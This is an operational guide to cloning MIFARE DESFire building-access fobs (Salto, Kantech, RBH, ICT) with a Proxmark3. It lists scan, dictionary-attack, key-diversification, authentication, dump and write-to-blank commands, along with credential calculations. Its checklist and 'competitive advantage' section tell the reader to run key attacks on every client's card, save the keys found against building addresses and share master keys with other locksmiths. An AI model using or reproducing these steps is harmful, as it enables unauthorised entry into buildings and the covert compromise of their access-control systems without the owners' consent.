

🔪 DESFIRE CLONING MASTER GUIDE 🔪

KOBE'S KEYS - RFID RESEARCH DOCUMENTATION

Salto | Kantech | RBH | ICT

Mamba Mentality for Your Security

1. SYSTEM IDENTIFICATION

When you get a DESFire card, identify the system first:

```
hf mfdes info          # Get UID, chip type, manufacturer
hf mfdes lsapp         # List application IDs (AIDs)
```

Common AIDs by System

System	Common AIDs	Key Type
Salto	F4B1xx, F5xxxx	AES + KDF (AN10922)
Kantech ioSmart	Various	AES static
RBH	Various	AES static master key
ICT Protege	F4857x	AES
Gallagher	F48120-F4812B	AES + KDF variant
HID iCLASS SE	Various	AES

2. ATTACK WORKFLOW

Phase 1: Scan the Card

```
hf mfdes info
hf mfdes lsapp
hf mfdes getaids --no-auth
```

Phase 2: Key Attack

Try dictionary attack WITHOUT diversification first:

```
hf mfdes chk -f mfdes_extended_keys_v2 --aid [AID]
```

If no keys found, try WITH AN10922 diversification (Salto):

```
hf mfdes chk -f mfdes_extended_keys_v2 --aid [AID] --kdf 1 -i [UID]
```

Try Gallagher diversification:

```
hf mfdes chk -f mfdes_extended_keys_v2 --aid [AID] --kdf 2 -i [UID]
```

Phase 3: Authenticate & Dump

Once you have a key:

DES key

```
hf mfdes auth --aid [AID] -n 0 -t des -k [KEY]
```

AES key

```
hf mfdes auth --aid [AID] -n 0 -t aes -k [KEY]
```

With diversification

```
hf mfdes auth --aid [AID] -n 0 -t aes -k [MASTER] --kdf 1 -i [UID]
```

Dump data

```
hf mfdes dump --aid [AID]
```

Phase 4: Clone to Blank

Auth to blank DESFire card

```
hf mfdes auth -n 0 -t des -k 0000000000000000
```

Create application

```
hf mfdes createapp --aid [AID] --numkeys 1 --ks1 0F
```

Create file

```
hf mfdes createfile --aid [AID] --fid 01 --size 000020 --rawrights EEEE  
--amode plain
```

Write data

```
hf mfdes write --aid [AID] --fid 01 --offset 000000 -d [DATA] --no-auth
```

3. SYSTEM-SPECIFIC DETAILS

SALTO

Property	Value
Encryption	AES-128
Key Diversification	AN10922 (KDF)
Formula	Master Key + UID + AN10922 = Card Key
Common AID	F4B1xx
Difficulty	HARD - need master key + KDF

Property	Value
PM3 Command	hf mfdes chk --aid F4B1xx --kdf 1 -i [UID]

Note: “Saltos issue is not key is DATA - have to calculate each block manually”

KANTECH ioSmart

Property	Value
Card Type	MIFARE Plus EV1 2K
Encryption	AES-128
Format	Site Code : Card Number
Example	8020:11485
Key Type	Static (not diversified from UID)
Difficulty	MEDIUM - formula from card number

Number on back: 8020:11485 = Site 8020, Card 11485

“UID has nothing to do with fob key” - calculated from number only

RBH ACCESS

Property	Value
Card Type	MIFARE DESFire EV1/EV2/EV3
Format	50-bit (16-bit site + 32-bit card)
Example	A4000 / 0004897846
Key Type	Static master key
Default Site	4000 (0x0FA0) - RBH ships this
Difficulty	MEDIUM - once you have master key, clone any card

Format on fob: A4000 = Site 4000, 0004897846 = Card Number

Kobe said: “Master key is for RBH DESFire” - static, not diversified

ICT PROTEGE

Property	Value
Card Type	MIFARE DESFire
Default Format	34-bit (16-bit site + 16-bit card)
Common AID	F4857x
PM3 Support	Built-in commands
Difficulty	EASIER - PM3 has commands

Commands:

```
hf ict help
hf ict info
hf ict credential
```

4. DEFAULT KEYS REFERENCE

NXP Factory Defaults

Key Type	Length	Default Value
DES	8 bytes	0000000000000000
2TDEA	16 bytes	000000000000000000000000
3TDEA	24 bytes	000000000000000000000000 000000000000000000000000 000000000000
AES	16 bytes	000000000000000000000000 0000000000000000

KDF Options

-kdf Value	Algorithm	Used By
0	None (static key)	RBH, Kantech, ICT
1	AN10922	Salto, many others
2	Gallagher variant	Gallagher/Cardax

5. CREDENTIAL CALCULATIONS

Kantech Example: 8020:11485

Field	Decimal	Hex	Bytes (BE)	Bytes (LE)
Site Code	8020	1F54	1F 54	54 1F
Card Number	11485	2CDD	2C DD	DD 2C
Combined	-	1F542CDD	1F 54 2C DD	DD 2C 54 1F

RBH Example: A4000 / 4897846

Field	Decimal	Hex	Bytes (BE)	Bytes (LE)
Site Code	4000	0FA0	0F A0	A0 0F
Card Number	4897846	004ABC36	00 4A BC 36	36 BC 4A 00

Field	Decimal	Hex	Bytes (BE)	Bytes (LE)
Full 50-bit	-	See calc	0F A0 00 4A BC 36	-

Use Python calculators to generate patterns for any card number

6. YOUR TOOLS

Tool	Purpose	Usage
kantech_decoder_gui.py	Kantech number to hex/bytes	python kantech_decoder_gui.py
rbh_decoder_gui.py	RBH 50-bit calculator	python rbh_decoder_gui.py
mfdes_extended_keys_v2.dic	4,589 key dictionary	Copy to PM3 dictionaries folder

Dictionary Location

C:\ProxSpace\pm3\proxmark3\client\dictionaries\mfdes_extended_keys_v2.dic

Install GUI Dependencies

pip install customtkinter pyperclip

7. FIELD WORKFLOW CHECKLIST

- ☐ 1. Get card from client
- ☐ 2. Note any numbers on card (Site:Card format)
- ☐ 3. Run: hf mfdes info
- ☐ 4. Run: hf mfdes lsapp
- ☐ 5. Identify system (Salto/Kantech/RBH/ICT)
- ☐ 6. Run dictionary attack:


```
hf mfdes chk -f mfdes_extended_keys_v2 --aid [AID]
```
- ☐ 7. If no key, try with KDF:


```
hf mfdes chk -f mfdes_extended_keys_v2 --aid [AID] --kdf 1 -i [UID]
```
- ☐ 8. If key found: **SAVE IT** with building address

- ☐ 9. Dump card data
 - ☐ 10. Clone to blank DESFire
-

8. KEY DATABASE

Every key you find, log it here:

Building Address	System	AID	Key Type	Key Value
---------------------	--------	-----	----------	-----------

9. WHAT Kobe REVEALED

His Setup

- Proxmark3 RDV4 (blue case, hidden branding)
- Custom “sparefob” command alias
- Calculator/software for key derivation
- Blank DESFire EV3 fobs

His Process (30 seconds with fob)

1. Scans fob: `hf mfdes info` → gets UID
2. Lists apps: `hf mfdes lsapp` → gets AID
3. Manual calculation: Uses paper/pen/calculator to derive key
4. Writes to blank: `hf mfdes write`

Key Intel from Kobe

- **RBH:** “Master key is for RBH DESFire” - static master key
- **Kantech:** “Kantech i can copy just by number on fob” - no UID needed







- **Salto:** “Saltos issue is not key is DATA” - has keys, stuck on format
- **KDF:** Confirmed Salto uses “KDF” (Key Derivation Function)
- **Timeline:** 1.5 years for Salto keys, 2 years for Kantech

What This Means

- RBH/Kantech use **static keys** - easier to crack
 - Salto uses **AN10922 diversification** - need master key
 - He has **collected master keys** over 1.5-2 years
 - You can catch up by **running dictionary attacks on every job**
-

10. COMPETITIVE ADVANTAGE

Your Current Position

-  Proxmark3 RDV4 ready
-  Custom dictionary (4,589 keys)
-  Kantech calculator
-  RBH calculator
-  ICT commands built into PM3
-  Need to collect master keys

Strategy

1. **Run hf mfdes chk on EVERY job** - catch weak/default setups
2. **Save every found key** with building address
3. **Focus on older buildings** - more likely to have default keys
4. **Build key database** over time
5. **Network with other locksmiths** - share keys

Realistic Timeline

- You're NOT 1.5 years behind in skill
 - You're 1.5 years behind in **key collection**
 - Start with buildings using default keys
 - Expand as database grows
-